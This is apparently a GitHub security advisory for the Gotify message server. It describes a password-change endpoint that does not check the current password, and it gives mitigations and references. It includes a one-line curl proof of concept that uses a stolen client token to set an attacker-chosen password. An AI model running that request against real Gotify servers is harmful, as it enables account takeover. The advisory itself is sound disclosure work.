GitHub Advisoryadvisory · Go
GHSA-3hcj-9m7p-wwm9 Gotify: Insufficiently Protected Password Change endpoint
MEDIUM
Official page ↗
- Aliases
- CVE-2026-102603
- Ecosystem
- Go
- Packages
- github.com/gotify/server/v2, github.com/gotify/server/v3
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-620
- Reviewed
- 2026-10-15
Affected packages
• Go github.com/gotify/server/v2: <= 2.9.1 (no fix yet)
• Go github.com/gotify/server/v3: < 3.0.0 → fixed in 3.0.0
Description
The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
PoC
```bash
Attacker has obtained a client token
No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
Expected response:
HTTP/1.1 200 OK
```
Mitigation
• Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
• Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.
Related
Alias · CVE (1)
- CVE-2026-102603 Gotify server is a simple server for sending and receiving messages in real-time per WebSocket. vulnerability
Weakness · CWE (1)
- CWE-620 Unverified Password Change weakness
References
- https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-102603 advisory
- https://github.com/gotify/server/pull/952 web
- https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9 web
- https://github.com/gotify/server package
- https://github.com/gotify/server/releases/tag/v3.0.0 web